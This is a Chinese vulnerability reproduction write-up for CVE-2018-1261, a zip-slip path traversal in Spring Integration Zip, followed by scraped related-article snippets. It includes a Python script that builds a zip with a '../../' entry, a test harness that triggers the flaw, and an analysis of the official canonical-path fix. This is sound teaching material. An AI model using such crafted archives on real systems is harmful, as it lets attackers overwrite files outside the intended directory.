不敢说分析,还是太菜了,多学习。

文章来源: 猎户安全实验室

存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。

用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。

漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java

这里的都是官方例子。

仿造官方例子写个测试类。

	@Test
public void unzipCve() throws IOException, InterruptedException { final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
final InputStream upZipFile = resource.getInputStream();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
unZipTransformer.afterPropertiesSet(); Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build(); unZipTransformer.transform(message);//漏洞入口。
System.out.println("over");
} }

  

这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。

import zipfile

if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e

  

东西都准备妥当了,开始分析漏洞吧。

漏洞入口:

unZipTransformer.transform(message);

接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

	@Override
protected Object doTransform(Message<?> message) throws Exception {
Assert.notNull(message, "message must not be null");
final Object payload = message.getPayload();
Assert.notNull(payload, "payload must not be null"); return doZipTransform(message);//往下调用doZipTransform函数
}

  

在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。

漏洞就出现在doZipTransform()函数。具体代码位置:

				ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方

					@Override
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException { final String zipEntryName = zipEntry.getName();
final long zipEntryTime = zipEntry.getTime();
final long zipEntryCompressedSize = zipEntry.getCompressedSize();
final String type = zipEntry.isDirectory() ? "directory" : "file"; if (logger.isInfoEnabled()) {
logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
"Compressed Size: '%s', Type: '%s'",
zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
} if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
final File destinationFile = new File(tempDir, zipEntryName); if (zipEntry.isDirectory()) {
destinationFile.mkdirs(); //NOSONAR false positive
}
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
if (!zipEntry.isDirectory()) {
byte[] data = IOUtils.toByteArray(zipEntryInputStream);
uncompressedData.put(zipEntryName, data);
}
}
else {
throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
}
}

  

调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

这里的final String zipEntryName = zipEntry.getName();  //就是解压出来的文件内容,

在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

然后下面两句代码把文件给复制过去。

SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);

这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如:   ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。

这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址

					public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName); /* If we see the relative traversal string of ".." we need to make sure
* that the outputdir + name doesn't leave the outputdir.
*/
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
throw new ZipException("The file " + zipEntryName +
" is trying to leave the target output directory of " + workDirectory);
}
return destinationFile;
}

  

主要看这句话:

if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))

如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,

全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/  ,而workDirectory是定义的路径。

综上就是路径不能往前跳转。

这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法

Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现的更多相关文章

  1. ref:Spring Integration Zip 不安全解压(CVE-2018-1261)漏洞分析

    ref:https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q 0x00 漏洞概览 漏洞名称:Spring Integration Zip不安全解压 漏洞编 ...

  2. liunx之zip格式的解压命令

    zip -r myfile.zip ./* 将当前目录下的所有文件和文件夹全部压缩成myfile.zip文件,-r表示递归压缩子目录下所有文件. 2.unzip unzip -o -d /home/s ...

  3. 正确的 zip 压缩与解压代码

    网上流传的zip压缩与解压 的代码有非常大的问题 尽管使用了ant进行压缩与解压,可是任务的流程还是用的java.util.zip 的方式写的,我在使用的过程中遇到了压缩的文件夹结构有误,甚至出现不同 ...

  4. Android之zip文件加密解压及进度条的实现

    zip文件的解压能够使用java的zip库,可是没有实现对加密文件的解压功能,这里能够使用zip4j来实现.详细能够參看该文<Android下zip压缩文件加密解密的完美解决方式>.该文件 ...

  5. java zip 压缩与解压

    java zip 压缩与解压 import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java. ...

  6. 文件操作工具类: 文件/目录的创建、删除、移动、复制、zip压缩与解压.

    FileOperationUtils.java package com.xnl.utils; import java.io.BufferedInputStream; import java.io.Bu ...

  7. Linux tar.gz 、zip、rar 解压 压缩命令

    tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个 ...

  8. 「Python实用秘技01」复杂zip文件的解压

    本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的新系列文章「Python实用秘技」的第1 ...

  9. zip压缩,解压

    //引用 System.IO.Compression.FileSystem.dll var basePath = AppDomain.CurrentDomain.BaseDirectory; Syst ...

随机推荐

  1. python生成器初步了解

    一.生成器 生成器的本质就是迭代器    一个一个的创建对象   1.创建生成器的方式:    1.生成器函数 2.通过生成器表达式来获取生成器 3.类型转换 2.优点 节省内存 ,生成器本身就是代码 ...

  2. centos7 hive + 远程mysql 搭建笔记

    1.require:java环境,本地可用的hadoop,远程可访问的mysql 2.拷贝hive文件(hive-2.2.1) 3.设置环境变量 export HIVE_HOME=/data/spar ...

  3. mysql的一些配置优化

    [mysqld]lower_case_table_names=1datadir=/var/lib/mysqlsocket=/var/lib/mysql/mysql.sockuser=mysql# Di ...

  4. springboot Thymeleaf 整合

    Thymeleaf是一个Java模板引擎开发库,可以处理和生成HTML.XML.JavaScript.CSS和文本,在Web和非Web环境下都可以正常工作. Thymeleaf可以跟Spring bo ...

  5. 无法重启oracle数据库监听

    一.报错 TNS-12541: TNS:no listener TNS-12560: TNS:protocol adapter error  TNS-00511: No listener   Linu ...

  6. mysql学习之路_视图

    视图 视图:view是一种有结构的但是没有结构来源的虚拟表,虚拟表的结构来源不是自己定义的而是从对应的基表中产生(来源) 创建视图 基本语法: Create view 视图名字 as select 语 ...

  7. 根据方法名获取方法Body Content

    利用 MethodBody类的GetILAsByteArray方法可以获取到返回字节数组的MSIL的body.然后再去解析此字节数组, 可以得到MSIL,然后你再去解析MSIL,你就可以得到你想到so ...

  8. 避免使用eval()

    eval()可以将任意的字符串当做一个JavaScript代码来执行. eval()使用实例: // 烦模式 var property = 'name'; console.log(eval('obj. ...

  9. redis概览

    Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,和Memcached类似,它支持存储的value类型相对更多,包括string(字符串 ...

  10. REST WebService与SOAP WebService的比较

    在SOA的基础技术实现方式中WebService占据了很重要的地位,通常我们提到WebService第一想法就是SOAP消息在各种传输协议上交互.近几年REST的思想伴随着SOA逐渐被大家接受,同时各 ...